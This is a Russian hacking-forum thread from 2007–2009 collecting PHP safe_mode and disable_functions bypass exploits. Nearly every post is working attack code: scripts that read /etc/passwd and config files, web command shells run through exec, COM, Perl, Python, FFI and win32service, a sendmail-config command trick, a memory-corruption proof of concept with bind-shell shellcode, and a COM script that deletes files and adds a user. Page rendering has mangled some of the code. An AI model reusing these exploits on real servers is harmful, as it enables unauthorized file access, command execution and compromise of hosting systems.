ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

safe_mode
  #1  
Старый 04.08.2007, 15:07
Аватар для ettee
ettee
Administrator
Регистрация: 12.10.2006
Сообщений: 466
Провел на форуме:
17234747

Репутация: 5170
По умолчанию safe_mode

Способы позволяющие снять "ограничения" safe_mode:

PHP код:
<?php
$file
=""
$tem=""
$temp=tempnam($tem"cx");
    if(
copy("compres.zlib://".$file$temp))
        {
            
$otrit fopen($temp"r");
            
$pokaz fread($otritfilesize($temp));
            
fclose($otrit);
            echo 
htmlspecialchars($pokaz);
            
unlink($temp);
        }
?>
PHP код:
<?
echo ini_get("safe_mode");
echo 
ini_get("open_basedir");
include(
"/etc/passwd");
ini_restore("safe_mode");
ini_restore("open_basedir");
echo 
ini_get("safe_mode");
echo 
ini_get("open_basedir");
include(
"/etc/passwd");
?>
PHP код:
<?  

  
// Safe mode breaker. eXpl0id by KPbIC [myiworm@mail.ru]
  // data: 28.01.2006

  
error_reporting(E_WARNING);
  
ini_set("display_errors"1);

  echo 
"<head><title>".getcwd()."</title></head>";

  echo 
"<form method=POST>";
  echo 
"<div style='float: left'>Root directory: <input type=text name=root value='{$_POST['root']}'></div>";
  echo 
"<input type=submit value='--&raquo;'></form>";

  echo 
"<HR>";

  
// break fucking safe-mode !

  
$root "/";

  if(
$_POST['root']) $root $_POST['root'];

  if (!
ini_get('safe_mode')) die("Safe-mode is OFF.");

  
$c 0$D = array();
  
set_error_handler("eh");

  
$chars "_-.01234567890abcdefghijklnmopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";

  for(
$i=0$i strlen($chars); $i++){
  
$path ="{$root}".((substr($root,-1)!="/") ? "/" NULL)."{$chars[$i]}";

  
$prevD $D[count($D)-1];
  
glob($path."*");

        if(
$D[count($D)-1] != $prevD){

        for(
$j=0$j strlen($chars); $j++){

           
$path ="{$root}".((substr($root,-1)!="/") ? "/" NULL)."{$chars[$i]}{$chars[$j]}";

           
$prevD2 $D[count($D)-1];
           
glob($path."*");

              if(
$D[count($D)-1] != $prevD2){


                 for(
$p=0$p strlen($chars); $p++){

                 
$path ="{$root}".((substr($root,-1)!="/") ? "/" NULL)."{$chars[$i]}{$chars[$j]}{$chars[$p]}";

                 
$prevD3 $D[count($D)-1];
                 
glob($path."*");

                    if(
$D[count($D)-1] != $prevD3){


                       for(
$r=0$r strlen($chars); $r++){

                       
$path ="{$root}".((substr($root,-1)!="/") ? "/" NULL)."{$chars[$i]}{$chars[$j]}{$chars[$p]}{$chars[$r]}";
                       
glob($path."*");

                       }

                    }        

                 }

              }        
   
        }    

        }

  }

  
$D array_unique($D);

  echo 
"<xmp>";
  foreach(
$D as $item) echo "{$item}\n";
  echo 
"</xmp>";




  function 
eh($errno$errstr$errfile$errline){

     global 
$D$c$i;
     
preg_match("/SAFE\ MODE\ Restriction\ in\ effect\..*whose\ uid\ is(.*)is\ not\ allowed\ to\ access(.*)owned by uid(.*)/"$errstr$o);
     if(
$o){ $D[$c] = $o[2]; $c++;}

  }

?>
PHP код:
<?
echo ini_get("safe_mode");
echo 
ini_get("open_basedir");
echo 
file_get_contents("/etc/passwd");
ini_restore("safe_mode");
ini_restore("open_basedir");
echo 
ini_get("safe_mode");
echo 
ini_get("open_basedir");
echo 
file_get_contents("/etc/passwd");
?>
PHP код:
<?php

/*
POC developed by Heintz.
Greets to Waraxe from www.waraxe.us
All buds from www.plain-text.info
Torufoorum

Thanks to metasploit.com for shellcode loan.
*/

// tested addresses from php5ts.dll (php 5.1.4) running win x64 pro
// $ptr_to_ptr_to_zval = "\x10\x43\x54\xCC";
// $ptr_to_zval = "\x10\x43\x54\xB0";
// $ptr_to_obj_handlers = "\x10\x43\x54\xAC"; // $ptr_to_zval-4


// addresses from php 5.1.4 cli, compiled with gcc version 3.3.6,
// kernel 2.6.14-hardened-r3
$ptr_to_ptr_to_zval "\x08\x1A\x64\xC8";
$ptr_to_zval "\x08\x1A\x60\x0C";
$ptr_to_obj_handlers "\x08\x1A\x60\x08"// $ptr_to_zval-4
// nop, nop, nop, mov eax,nex-4-bytes. to disarm 4 next bytes
$eip_hop_over "\x90\x90\x90\xB8";

# linux_ia32_bind -  LPORT=5555 Size=108 Encoder=PexFnstenvSub http://metasploit.com
$shellcode =
"\x29\xc9\x83\xe9\xeb\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xef".
"\x57\xe6\x92\x83\xeb\xfc\xe2\xf4\xde\x8c\xb5\xd1\xbc\x3d\xe4\xf8".
"\x89\x0f\x7f\x1b\x0e\x9a\x66\x04\xac\x05\x80\xfa\xfa\xe4\x80\xc1".
"\x66\xb6\x8c\xf4\xb7\x07\xb7\xc4\x66\xb6\x2b\x12\x5f\x31\x37\x71".
"\x22\xd7\xb4\xc0\xb9\x14\x6f\x73\x5f\x31\x2b\x12\x7c\x3d\xe4\xcb".
"\x5f\x68\x2b\x12\xa6\x2e\x1f\x22\xe4\x05\x8e\xbd\xc0\x24\x8e\xfa".
"\xc0\x35\x8f\xfc\x66\xb4\xb4\xc1\x66\xb6\x2b\x12";

if(
bin2hex(pack('S',0x0010))!="0010")
// small endian conversion
$t $ptr_to_ptr_to_zval;
$ptr_to_ptr_to_zval $t{3}.$t{2}.$t{1}.$t{0};

$t $ptr_to_zval;
$ptr_to_zval $t{3}.$t{2}.$t{1}.$t{0};

$t $ptr_to_obj_handlers;
$ptr_to_obj_handlers $t{3}.$t{2}.$t{1}.$t{0};
}

$object_zval $eip_hop_over.$ptr_to_obj_handlers.$eip_hop_over.
               
"\x05\x01\x90\x90".$shellcode."\xC3\x90\x90\x20";

$str str_repeat($ptr_to_ptr_to_zval,20);
unset(
$str);

sscanf(
$object_zval,
'%1$s',
$str);

putenv("PHP_foo=".str_repeat($ptr_to_zval,64));
putenv("PHP_foo=");

sscanf(
"a ",
'%1$s',
$str);


?>
PHP код:
<form action="" method="post">
<select name="switch">
<option selected="selected" value="file">View file</option>
<option value="dir">View dir</option>
</select>
<input type="text" size="60" name="string">
<input type="submit" value="go">
</form>

<?php
$string 
= !empty($_POST['string']) ? $_POST['string'] : 0;
$switch = !empty($_POST['switch']) ? $_POST['switch'] : 0;

if (
$string && $switch == "file") {
$stream imap_open($string"""");
if (
$stream == FALSE)
die(
"Can't open imap stream");

$str imap_body($stream1);
if (!empty(
$str))
echo 
"<pre>".$str."</pre>";
imap_close($stream);
} elseif (
$string && $switch == "dir") {
$stream imap_open("/etc/passwd""""");
if (
$stream == FALSE)
die(
"Can't open imap stream");

$string explode("|",$string);
if (
count($string) > 1)
$dir_list imap_list($streamtrim($string[0]), trim($string[1]));
else
$dir_list imap_list($streamtrim($string[0]), "*");
echo 
"<pre>";
for (
$i 0$i count($dir_list); $i++)
echo 
"$dir_list[$i]\n";
echo 
"</pre>";
imap_close($stream);
}
?>
PHP код:
<?php
        
if (isset($_REQUEST['file'])) {
                
$file "sendlog";
                if (
file_exists($file)) unlink($file);
                
$extra "-C ".$_REQUEST['file']." -X ".getcwd()."/".$file;
                
mb_send_mail(NULLNULLNULLNULL$extra);
                echo 
"<pre>".file_get_contents($file)."</pre>";
        }
?>
PHP код:
<?php
$file
=""# FILENAME
readfile("<? echo \"cx\"; ?>"3,
"php://../../".$file);
?>
PHP код:
<? 
/* 
Kodlama By Liz0ziM  
www.expw0rm.com 
Safe Mode Command Execution Shell 
http://securityreason.com/achievement_securityalert/42
*/ 
function safeshell($komut

ini_restore("safe_mode");
ini_restore("open_basedir");
 
$res ''
 if (!empty(
$komut)) 
 { 
if(
function_exists('exec')) 

 @
exec($komut,$res); 
 
$res join("\n",$res); 

elseif(
function_exists('shell_exec')) 

 
$res = @shell_exec($komut); 

elseif(
function_exists('system')) 

 @
ob_start(); 
 @
system($komut); 
 
$res = @ob_get_contents(); 
 @
ob_end_clean(); 

elseif(
function_exists('passthru')) 

 @
ob_start(); 
 @
passthru($komut); 
 
$res = @ob_get_contents(); 
 @
ob_end_clean(); 

elseif(@
is_resource($f = @popen($komut,"r"))) 

$res ""
while(!@
feof($f)) { $res .= @fread($f,1024); } 
@
pclose($f); 

 } 
 return 
$res
}
echo 
"<b><font color=blue>Liz0ziM Private Safe Mode Command Execution Bypass Exploit</font></b><br>";
print_r('
<pre>
<form method="POST" action="">
<b><font color=blue>Komut :</font></b><input name="baba" type="text"><input value="?al??t?r" type="submit">
</form>
<form method="POST" action="">
<b><font color=blue>H?zl? Men? :=) :</font><select size="1" name="liz0">
<option value="cat /etc/passwd">/etc/passwd</option>
<option value="netstat -an | grep -i listen">T?m A??k Portalar? G?r</option>
<option value="cat /var/cpanel/accounting.log">/var/cpanel/accounting.log</option>
<option value="cat /etc/syslog.conf">/etc/syslog.conf</option>
<option value="cat /etc/hosts">/etc/hosts</option>
<option value="cat /etc/named.conf">/etc/named.conf</option>
<option value="cat /etc/httpd/conf/httpd.conf">/etc/httpd/conf/httpd.conf</option>
</select> <input type="submit" value="G?ster Bakim">
</form>
</pre>
'
);
ini_restore("safe_mode");
ini_restore("open_basedir");
if(
$_POST[baba]!= "") { $liz0=safeshell($_POST[baba]); }
if(
$_POST[liz0]!= "") { $liz0zim=safeshell($_POST[liz0]); }
$uid=safeshell('id');
$server=safeshell('uname -a');
echo 
"<pre><h4>";
echo 
"<b><font color=red>Kimim Ben :=)</font></b>:$uid<br>";
echo 
"<b><font color=red>Server</font></b>:$server<br>";
echo 
"<b><font color=red>Komut Sonu?lar?:</font></b><br>"
if(
$_POST["baba"]!= "") { echo $liz0; }
if(
$_POST["liz0"]!= "") { echo $liz0zim; }
echo 
"</h4></pre>";
?>
PHP код:
<?php
    
// inconsistent PHP safe_mode on Win32
    
$____suntzu = new COM("WScript.Shell");
    
$____suntzu->Run('c:\windows\system32\cmd.exe /c dir *.* > '.dirname($_SERVER[SCRIPT_FILENAME]).'/suntzoi.txt');
    
$____suntzoi=file("suntzoi.txt");
    for (
$i=0$i<count($____suntzoi); $i++) {echo nl2br(htmlentities($____suntzoi[$i]));}
   
// *quote* from the php manual:
   // There is no installation needed to use these functions; they are part of the PHP core.
   // The windows version of PHP has built in support for this extension. You do not need to load any additional extension in order to use these functions.
   // You are responsible for installing support for the various COM objects that you intend to use (such as MS Word);
   // we don't and can't bundle all of those with PHP.
?>

Safe Mode Bypass Shell -44kb
Методы: SQL ,id ,CURL ,copy ,ini_restore ,imap.
_http://someshit.net/files/SMBS.rar

Последний раз редактировалось ettee; 23.08.2007 в 19:15..
 
Ответить с цитированием

  #2  
Старый 04.08.2007, 15:21
Аватар для Ni0x
Ni0x
Постоянный
Регистрация: 27.08.2006
Сообщений: 367
Провел на форуме:
2009677

Репутация: 472
По умолчанию

старинный способ, но может кому пригодится
PHP код:
<?
$script
=tempnam("/tmp""script");
$cf=tempnam("/tmp""cf");

$fd fopen($cf"w");
fwrite($fd"OQ/tmp
Sparse=0
R$*" 
chr(9) . "$#local $@ $1 $: $1
Mlocal, P=/bin/sh, A=sh 
$script");
fclose($fd);

$fd fopen($script"w");
fwrite($fd"rm -f $script $cf; ");
fwrite($fd$cmd);
fclose($fd);

mail("nobody""""""""-C$cf");
?>
 
Ответить с цитированием

  #3  
Старый 15.09.2007, 20:09
Аватар для Termin@L
Termin@L
Участник форума
Регистрация: 07.12.2006
Сообщений: 192
Провел на форуме:
492591

Репутация: 123
По умолчанию

тока зачем фишка с ini_restore - повторяется 2 раза?

Она кстати довольно бесполезная, потому что прав на неё почти никогда нет
А все фишки с инклудом убиваются open_basedir
но то что ты собрал, неплохо - есть ещё одна тема - curl
она по-моему где-то на форуме есть, но чтоб всё было в одном месте
Код:
Особенности curl_init()
Работает в:
PHP 4.4.2 и более ранние версии.
PHP 5.0.5 и более ранние версии.
PHP 5.1.4 и более ранние версии.


Эта функция позволяет работать с cURL, библиотекой позволяющей получать доступ к файлам через разные 
протоколы, такие как http,ftp,https и т.д. Полезная 
вещь, однако нас она интересует по совсем другим 
причинам, дело в том, что в данной функции 
некорректно обрабатывается нулевой байт, что позволяет обойти safe mode и открывать файлы, которые нам читать запрещено.
Суть баги:
$fd=curl_init("file://restrictedfile.conf\x00"."permittedfile");
$result=curl_exec($fd); 
curl_close($fd);
var_dump($result);
Проверяет всё после нулевого байта, тогда как curl читает файл до нулевого байта. Единственное - файлы можно читать только из директории скрипта, мы не можем использовать "/". Так же можно читать файлы на которые у вас нет прав из другой директории на которую у вас есть права:
curl_init("file:///home/dir/dir/permitteddir/restrictedfile.conf\x00
/../../../../../../../../../../../../".__FILE__);
curl_exec($ch);
var_dump(curl_exec($ch));
Собственно таким нехитрым способом можно почитать файлы, прав на которые у нас нет.

Последний раз редактировалось Termin@L; 23.09.2007 в 13:06..
 
Ответить с цитированием

  #4  
Старый 18.11.2007, 16:04
Аватар для ettee
ettee
Administrator
Регистрация: 12.10.2006
Сообщений: 466
Провел на форуме:
17234747

Репутация: 5170
По умолчанию

PHP <= 4.4.7 / 5.2.3 MySQL/MySQLi Safe Mode Bypass Vulnerability

MySQL:
PHP код:
<?php
file_get_contents
('/etc/passwd');
$l mysql_connect("localhost""root");
mysql_query("CREATE DATABASE a");
mysql_query("CREATE TABLE a.a (a varchar(1024))");
mysql_query("GRANT SELECT,INSERT ON a.a TO 'aaaa'@'localhost'");
mysql_close($l); mysql_connect("localhost""aaaa");
mysql_query("LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE a.a");
$result mysql_query("SELECT a FROM a.a");
while(list(
$row) = mysql_fetch_row($result))
print 
$row chr(10);
?>
MySQLi:
PHP код:
<?php
function r($fp, &$buf$len, &$err) {
print 
fread($fp$len);
}
$m = new mysqli('localhost''aaaa''''a');
$m->options(MYSQLI_OPT_LOCAL_INFILE1);
$m->set_local_infile_handler("r");
$m->query("LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE a.a");
$m->close();
?>
PHP FFI Extension Safe_mode Bypass Exploit:
PHP код:
<?php
if(!extension_loaded('ffi'))
die(
'ERROR: FFI extension is not loaded!');
$command=(empty($_GET['cmd']))?'dir':$_GET['cmd'];
if(
is_writeable(dirname(__FILE__)))$tmp=dirname(__FILE__);
elseif(
is_writeable(ini_get('session.save_path')))
$tmp=ini_get('session.save_path');
elseif(
is_writeable(ini_get('upload_tmp_dir')))
$tmp=ini_get('upload_tmp_dir');
else die(
'ERROR: Move exploit to writeable folder.');
$output="$tmp\\".uniqid('NJ');
$api=new ffi("[lib='kernel32.dll'] int WinExec(char *APP,int SW);");
$res=$api->WinExec("cmd.exe /c $command >\"$output\"",0);
while(!
file_exists($output))sleep(1);
$con='';
$fp=fopen($output,'r');
while(!
feof($fp))$con.=fgets($fp,1024);
fclose($fp);
$con=htmlspecialchars($con);
echo 
"<pre>$con</pre>";
unlink($output);
?>

PHP 5.2.4 ionCube extension safe_mode and disable_functions protections bypass

PHP код:
<?php
//PHP 5.2.4 ionCube extension safe_mode and disable_functions protections bypass
//author: shinnai
//mail: shinnai[at]autistici[dot]org
//site: http://shinnai.altervista.org
//Tested on xp Pro sp2 full patched, worked both from the cli and on apache
//Technical details:
//ionCube version: 6.5
//extension: ioncube_loader_win_5.2.dll (other may also be vulnerable)
//url: www.ioncube.com
//php.ini settings:
//safe_mode = On
//disable_functions = ioncube_read_file, readfile
//Description:
//This is useful to obtain juicy informations but also to retrieve source
//code of php pages, password files, etc... you just need to change file path.
//Anyway, don't worry, nobody will read your obfuscated code :)
//greetz to: BlackLight for help me to understand better PHP
//P.S.
//This extension contains even an interesting ioncube_write_file function...
if (!extension_loaded("ionCube Loader")) die("ionCube Loader extension required!");
$path str_repeat("..\\"20);
$MyBoot_readfile readfile($path."windows\\system.ini"); #just to be sure that I set correctely disable_function :)
$MyBoot_ioncube ioncube_read_file($path."boot.ini");
echo 
$MyBoot_readfile;
echo 
"<br><br>ionCube output:<br><br>";
echo 
$MyBoot_ioncube;
?>
PHP 5.x COM functions safe_mode and disable_function bypass
PHP код:
<?php
//PHP 5.x COM functions safe_mode and disable_function bypass
//author: shinnai
//mail: shinnai[at]autistici[dot]org
//site: http://shinnai.altervista.org
//dork: intitle:phpinfo intext:"php version" +windows (thanks to rgod)
//Tested on xp Pro sp2 full patched, worked both from the cli and on apache
//from: http://www.phpfreaks.com/phpmanual/page/ref.com.html
//Requirements:
//COM functions are only available for the Windows version of PHP.
//.Net support requires PHP 5 and the .Net runtime. 
//Installation:
//There is no installation needed to use these functions; they are part of the PHP core. -> (sounds good)
//The windows version of PHP has built in support for this extension. You do not need to
//load any additional extension in order to use these functions.
//You are responsible for installing support for the various COM objects that you intend
//to use (such as MS Word); we don't and can't bundle all of those with PHP.
//mmm... I don't know how many people use Apache and PHP on Windows servers but I suppose there are
//a lot of users if PHP developers decide to implement COM functions as part of PHP core.
//take a look here: intitle:phpinfo intext:"php version" +windows (thanks to rgod).
//Anyway, I think they should take much care on security due to the fact that, through these
//functions, you can seriously compromise a pc.
//For remote execution you need (naturally) to use a server that is MS based,
//e.g. Apache for win configured for working with PHP.
//In this scenario, someone could upload a script and then use it to damnage the server.
//Local execution simply bypass all Windows protections against execution of dangerous
//COM objects (even kill-bit) due to the fact that the script is executed from a client that
//does not check these settings.
//php.ini settings:
//safe_mode = On
//disable_functions = com_load_typelib
//open_basedir = htdocs
//Remote execution requires that open_basedir is disabled
$mPath str_repeat("..\\",20);
$compatUI = new COM('{0355854A-7F23-47E2-B7C3-97EE8DD42CD8}');    //this one uses compatUI.dll
$compatUI->RunApplication("something""notepad.exe"1);    //to run notepad.exe
$wscript = new COM('wscript.shell');                //this one uses wscript.exe
$wscript->Run("cmd.exe /c calc.exe");                //to run calc.exe
$FSO = new COM('Scripting.FileSystemObject');            //this one uses wshom.ocx
$FSO->OpenTextFile($mPath."something.bat"8true);        //to create a batch file on server... yes,        //if you want you can write to this batch file :)
$FSOdelFile = new COM('Scripting.FileSystemObject');        //this one uses wshom.ocx
$FSOdelFile->DeleteFile($mPath."PathToFiles\\*.txt"True);    //to delete all files with txt extension
$FSOdelFolder = new COM('Scripting.FileSystemObject');        //this one uses wshom.ocx
$FSOdelFolder->DeleteFolder($mPath."FolderToDelete"True);    //to delete an entire folder
$shgina = new COM('{60664CAF-AF0D-0004-A300-5C7D25FF22A0}');    //this one uses shgina.dll
$shgina->Create("shinnai");                    //to add an user :)
?>
PHP Perl Extension Safe_mode Bypass
PHP код:
<?php
if(!extension_loaded('perl'))die('perl extension is not loaded');
if(!isset(
$_GET))$_GET=&$HTTP_GET_VARS;
if(empty(
$_GET['cmd']))$_GET['cmd']=(strtoupper(substr(PHP_OS,0,3))=='WIN')?'dir':'ls';
$perl=new perl();
echo 
"<textarea rows='25' cols='75'>";
$perl->eval("system('".$_GET['cmd']."')");
echo 
"</textarea>";
$_GET['cmd']=htmlspecialchars($_GET['cmd']);
echo 
"<br><form>CMD: <input type=text name=cmd value='".$_GET['cmd']."' size=25></form>"
?>
PHP 5.x (win32service) Local Safe Mode Bypass Exploit
PHP код:
<?php
$command
=(isset($_GET['CMD']))?$_GET['CMD']:'dir'#cammand
$dir=ini_get('upload_tmp_dir'); #Directory to store command's output
if(!extension_loaded('win32service'))die('win32service extension not found!');
$name=$dir."\\".uniqid('NJ');
$n=uniqid('NJ');
$cmd=(empty($_SERVER['ComSpec']))?'d:\\windows\\system32\\cmd.exe':$_SERVER['ComSpec'];
win32_create_service(array('service'=>$n,'display'=>$n,'path'=>$cmd,'params'=>"/c $command >\"$name\""));
win32_start_service($n);
win32_stop_service($n);
win32_delete_service($n);
$exec=file_get_contents($name);
unlink($name);
echo 
"<pre>".htmlspecialchars($exec)."</pre>";
?>
PHP 5.2.3 win32std extension safe_mode and disable_functions protections bypass
PHP код:
<?php
if (!extension_loaded("win32std")) die("win32std extension required!");
system("cmd.exe"); //just to be sure that protections work well
win_shell_execute("..\\..\\..\\..\\windows\\system32\\cmd.exe");
?>
 
Ответить с цитированием

  #5  
Старый 12.01.2008, 22:15
Аватар для ettee
ettee
Administrator
Регистрация: 12.10.2006
Сообщений: 466
Провел на форуме:
17234747

Репутация: 5170
По умолчанию

PHP код:
<?php
########################## WwW.BugReport.ir ###########################################
#
#      AmnPardaz Security Research & Penetration Testing Group
#
# Title: PHP < 5.2.5 Safe mode Bypass
# Vendor: http://www.php.net/
##################################################################################
?>

<html dir="ltr">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>SAFE MODE BYPASS</title>
<style type="text/css" media="screen">
body {
    font-size: 10px;
    font-family: verdana;
}
INPUT {
    BORDER-TOP-WIDTH: 1px; FONT-WEIGHT: bold; BORDER-LEFT-WIDTH: 1px; FONT-SIZE: 10px; BORDER-LEFT-COLOR: #D50428; BACKGROUND: #590009; BORDER-BOTTOM-WIDTH: 1px; BORDER-BOTTOM-COLOR: #D50428; COLOR: #00ff00; BORDER-TOP-COLOR: #D50428; FONT-FAMILY: verdana; BORDER-RIGHT-WIDTH: 1px; BORDER-RIGHT-COLOR: #D50428
}
</style>
</head>
<body dir="ltr" alink="#00ff00"  bgcolor="#000000" link="#00c000" text="#008000" vlink="#00c000">
<form method="POST" enctype="multipart/form-data" action="?">
Enter The <A href='?info=1' > Target Path </A>:<BR><BR>
<input type="text" name="target" value="<?php echo $_SERVER['DOCUMENT_ROOT']; ?>" size="50"><BR>*Target must be writeable!<BR><BR>
File Content:<BR><BR>
<input type="file" name="F1" size="50"><BR><BR>
<input type="submit" name="Upload" value="Upload">
</form>
<?php
error_reporting
(E_ALL E_NOTICE);

if(isset(
$_GET['info']) && $_GET['info'] == 1)
{
    if (
function_exists('posix_getpwuid'))
    {
        if (isset(
$_POST['f']) && isset($_POST['l']))
        {
            
$f intval($_POST['f']);
            
$l intval($_POST['l']);
            while (
$f $l)
            {
                
$uid posix_getpwuid($f);
                if (
$uid)
                {
                    
$uid["dir"] = "<a href=\"\">".$uid["dir"]."</a>";
                    echo 
join(":",$uid)."<br>";
                }
                
$f++;
            }
        } else
        {
            echo 
'
            <form method="POST" action="?info=1">Uid  
            FROM : <input type="text" name="f" value="1" size="4">
            TO : <input type="text" name="l" value="1000" size="4">
            <input type="submit" name="Show" value="Show">'
;
        }
    } else die(
"Sorry! Posix Functions are disabled in your box, There is no way to obtain users path! You must enter it manually!");
    die();
}

if(isset(
$_POST['Upload']) && isset($_POST['target']) && $_POST['target'] != "")
{
    
$MyUid   getmyuid();
    
$MyUname get_current_user();
    if (
function_exists('posix_geteuid'))
    {
        
$HttpdUid   posix_geteuid();
        
$HttpdInfo  posix_getpwuid($HttpdUid);
        
$HttpdUname "(".$HttpdInfo['name'].")";
    } else
    {
        
$NewScript = @fopen('bypass.php','w+');
        if (!
$NewScript)
        {
            die(
'Make the Current directory Writeable (Chmod 777) and try again');
        } else  
$HttpdUid fileowner('bypass.php');
    }

    if (
$MyUid != $HttpdUid)
    {
        echo 
"This Script User ($MyUid) and httpd Process User ($HttpdUid) dont match!";
        echo 
" We Will create a copy of this Script with httpd User $HttpdUname
        in current directory..."
."<BR>";
        if (!
$NewScript)
        {
            
$NewScript = @fopen('bypass.php','w+');
            if (!
$NewScript)
            {
                die(
'Make the Current directory Writeable (Chmod 777) and try again');
            }
        }
        
$Temp fopen(__FILE__ ,'r');
        while (!
feof($Temp))
        {
            
$Buffer fgets($Temp);
            
fwrite($NewScript,$Buffer);
        }
        
fclose($Temp);
        
fclose($NewScript);
        echo 
"Please Run <A href='bypass.php'> This </A> Script";
        die();    
    }
    
    
$TargetPath trim($_POST['target']);
    
$TargetFile tempnam($TargetPath,"BP");
    if (
strstr($TargetFile$TargetPath) == TRUE)
    {
        echo 
$TargetFile." Successfully created!<BR>";
    } else die(
"$TargetPath doesnt exist or is not writeable! choose another path!");

    if (
move_uploaded_file($_FILES['F1']['tmp_name'], $TargetFile))
    {
        echo 
"<BR>$TargetFile is valid, and was successfully uploaded.";
    } else
    {
        die(
"<BR>$TargetFile Could not upload.");
    }
    
chmod($TargetFile 0777);
}

?>
 
Ответить с цитированием

  #6  
Старый 20.01.2008, 17:07
Аватар для everm1nd
everm1nd
Новичок
Регистрация: 20.01.2007
Сообщений: 25
Провел на форуме:
102126

Репутация: 8
По умолчанию

эмм... может уже не актуально, но можно еще использовать SSI.
PHP код:
<html>
<
body>
<
pre>
<!--
#exec cmd="pwd"-->
<br>
<!--
#exec cmd="cat /etc/passwd"-->
<br>
<!--
#exec cmd="ls -la"-->
</text>
</
pre>
</
body>
</
html
Это чудо надо назвать *.shtml и залить на хостинг. должно работать в связке с апачем.
ЗЫ это конечно не связано напрямую с ПХП, но обойти SM помогает иногда...


blackybr: Должен стоять mod_ssi. Но не просто так. Если больше ничего не прописывать то сможем выполнять его только в cgi-bin.

Последний раз редактировалось blackybr; 20.01.2008 в 17:26..
 
Ответить с цитированием

  #7  
Старый 24.07.2009, 11:31
Аватар для [underwater]
[underwater]
Познающий
Регистрация: 29.03.2009
Сообщений: 87
Провел на форуме:
2185909

Репутация: 308
По умолчанию

ShAnKaR,

PHP 5.2.4 ionCube extension safe_mode and disable_functions protections bypass
Код:
<!--p
if (!extension_loaded("ionCube Loader")) die("ionCube Loader extension required!");
$path = str_repeat("..\", 20);
$MyBoot_readfile = readfile($path."windows\system.ini"); #just to be sure that I set correctely disable_function :)
$MyBoot_ioncube = ioncube_read_file($path."boot.ini");
echo $MyBoot_readfile;
echo "
 
ionCube output:
 
";
echo $MyBoot_ioncube;
-->

PHP 5.2.6 error_log safe_mode bypass

Код:
[ SecurityReason.com PHP 5.2.6 error_log safe_mode bypass ]

Author: Maksymilian Arciemowicz (cXIb8O3)
securityreason.com
Date:
- - Written: 10.11.2008
- - Public: 20.11.2008

SecurityReason Research
SecurityAlert Id: 57

CWE: CWE-264
SecurityRisk: Medium

Affected Software: PHP 5.2.6
Advisory URL: http://securityreason.com/achievement_securityalert/57
Vendor: http://www.php.net

- --- 0.Description ---
PHP is an HTML-embedded scripting language. Much of its syntax is borrowed from C, Java and Perl 
with a couple of unique PHP-specific features thrown in. The goal of the language is to allow web 
developers to write dynamically generated pages quickly.

error_log

They allow you to define your own error handling rules, as well as modify the way the errors can 
be logged. This allows you to change and enhance error reporting to suit your needs.

- --- 0. error_log const. bypassed by php_admin_flag ---
The main problem is between using safe_mode in global mode

php.ini*:
safe_mode = On

and declaring via php_admin_flag

<Directory "/www">
...
	php_admin_flag safe_mode On
</Directory>

When we create some php script in /www/ and try call to:

ini_set("error_log", "/hack/");

or in /www/.htaccess

php_value error_log "/hack/bleh.php"


Result:

Warning: Unknown: SAFE MODE Restriction in effect. The script whose uid is 80 is not allowed to access /hack/ owned by uid 1001 in Unknown on line 0

Warning: ini_set() [function.ini-set]: SAFE MODE Restriction in effect. The script whose uid is 80 is not allowed to access /hack/ owned by uid 1001 in /www/phpinfo.php on line 4


It was for safe_mode declared in php.ini. But if we use

php_admin_flag safe_mode On 

in httpd.conf, we will get only

Warning: ini_set() [function.ini-set]: SAFE MODE Restriction in effect. The script whose uid is 80 is not allowed to access /hack/ owned by uid 1001 in /www/phpinfo.php on line 4

syntax in .htaccess

php_value error_log "/hack/blehx.php"

is allowed and bypass safe_mode.

example exploit:
error_log("<?php phpinfo(); ?>", 0);

- --- 2. How to fix ---
Fixed in CVS

http://cvs.php.net/viewvc.cgi/php-src/NEWS?revision=1.2027.2.547.2.1315&view=markup

Note:
Do not use safe_mode as a main safety.

 --- 3. Greets ---
sp3x Infospec schain p_e_a pi3
PHP python extension safe_mode Bypass Local Vulnerability
Код:
<?php
/*
  php_python_bypass.php
  php python extension safe_mode bypass
  Amir Salmani - amir[at]salmani[dot]ir
*/

//python ext. installed?
if (!extension_loaded('python')) die("python extension is not installed\n");

//eval python code
$res = python_eval('
import os
pwd = os.getcwd()
print pwd
os.system('cat /etc/passwd')
');

//show result
echo $res;
?>
PHP safe_mode bypass via proc_open() and custom environment

Код:
<!--p $path="/var/www"; //change to your writable path $a=fopen($path."/.comm","w"); fputs($a,$_GET["c"]); fclose($a); $descriptorspec = array(  0--> array("pipe", "r"),
 1 =&gt; array("file", $path."/output.txt","w"),
 2 =&gt; array("file", $path."/errors.txt", "a" )
);
$cwd = '.';
$env = array('LD_PRELOAD' =&gt; $path."/a.so");
$process = proc_open('id &gt; /tmp/a', $descriptorspec, $pipes, $cwd, $env); // example command - should not succeed
sleep(1);
$a=fopen($path."/.comm1","r");
echo "<strong>";
while (!feof($a))
{$b=fgets($a);echo $b;}
fclose($a);
?&gt;;
</strong>
PHP Perl Extension Safe_mode Bypass Exploit
Код:
<!--if(!extension_loaded('perl'))die('perl extension is not loaded');
if(!isset($_GET))$_GET=&$HTTP_GET_VARS;
if(empty($_GET['cmd']))$_GET['cmd']=(strtoupper(substr(PHP_OS,0,3))=='WIN')?'dir':'ls';
$perl=new perl();
echo "<textarea rows='25' cols='75'>";
$per-->eval("system('".$_GET['cmd']."')");
echo "";
$_GET['cmd']=htmlspecialchars($_GET['cmd']);
echo "
<form enctype="application/x-www-form-urlencoded" method="get">CMD:
<input name="cmd" size="25" type="text" value="&quot;.$_GET[" /></form>
 
"
?&gt;
 
Ответить с цитированием

  #8  
Старый 24.07.2009, 14:53
Аватар для ShAnKaR
ShAnKaR
Пачка маргарина
Регистрация: 14.07.2005
Сообщений: 964
Провел на форуме:
4646474

Репутация: 1424


Отправить сообщение для ShAnKaR с помощью ICQ
По умолчанию

